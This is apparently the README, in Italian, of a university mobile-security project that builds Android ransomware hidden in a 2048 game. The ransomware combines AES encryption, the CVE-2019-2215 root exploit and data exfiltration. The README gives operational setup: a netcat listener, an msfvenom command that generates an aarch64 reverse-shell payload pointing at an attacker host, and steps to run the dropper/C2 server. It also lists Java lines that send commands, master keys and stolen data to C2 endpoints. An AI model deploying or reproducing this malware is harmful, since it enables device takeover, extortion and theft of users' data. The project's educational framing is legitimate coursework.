
Sviluppo di Ransomware per Android - Crittografia AES256 + CVE-2019-2215 (reverse root shell) + Esfiltrazione dei dati
Questo progetto è esclusivamente a scopo educativo. Questo progetto utilizza codice da rkshrksh/2048-Game e kangtastic/cve-2019-2215.
Questo progetto fa parte del modulo di Mobile Security del Singapore Institute of Technology. Il progetto è stato svolto in 6 settimane e l'obiettivo era sviluppare un'applicazione Android malevola. In questo modo, ci ha aiutato a imparare come sono implementati i meccanismi di sicurezza in un sistema operativo Android e come possiamo esercitare OWASP Mobile Top 10:2017 M8 - Code Tampering.
Il progetto è un proof of concept per mostrare un ransomware scritto personalizzato che utilizza la crittografia AES, sfruttando cve-2019-2215, e anche esfiltrando dati dal dispositivo infetto.
È testato su Android 10 e Google Pixel 2 XL.
├── 2048-Game // Cartella del progetto Android
├── 2048-keystore // Keystore di test
├── cve-2019-2215 // cve-2019-2215 modificato
│ └── cve-2019-2215.c
├── dropper_server // Directory del server dropper
│ ├── cve-2019-2215 // Contenuto di shells.zip prima della compressione
│ ├── dropper_server.py // Programma del server dropper
│ ├── exfiltrated_data.log
│ ├── masterkeys.txt
│ ├── ncat.exe // Binario Netcat per Windows - per listener reverse shell
│ ├── requirements.txt
│ ├── shells.zip // shells.zip ospitato nella root del server dropper
│ └── venv
└── test_images // test_images per un facile adb push <image.ext> /sdcard/Pictures
Per questo test, assicurati che il telefono vittima e il server C2 siano nella stessa sottorete (altrimenti ospita il C2 su internet pubblico). Ci sono 3 endpoint per il server C2 che si trovano in dropper/dropper_server.py:
nc -lvnp 1337 # Idealmente questo dovrebbe essere lo stesso IP del server dropper
# Genera payload rs.elf
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<Attacker IP> LPORT=<Attacker Port> -f elf > rs.elf
# Meglio eseguire flask su Windows se WSL non inoltra il traffico localhost all'host Windows
cd dropper
python3 -m venv venv # Crea venv
# Attiva venv
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # Assicurati che la shell host sia root/Amministratore
# Esegui server C2
python3 dropper_server.py # WSL
python dropper_server.py # Windows
shells.zip in /dropper
Classi Java
// File : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// Cambia IP e porta in base all'IP e alla porta del server dropper
String URL = "http://192.168.157.73:8080/process_command"; // Line 19
// File : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// Cambia IP e porta in base all'IP e alla porta del server dropper
String URL = "http://192.168.157.73:8080/get_mk"; // Line 45
// File : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// Cambia IP e porta in base all'IP e alla porta del server dropper
String urlString = "http://192.168.157.73:8080/postData"; // Line 32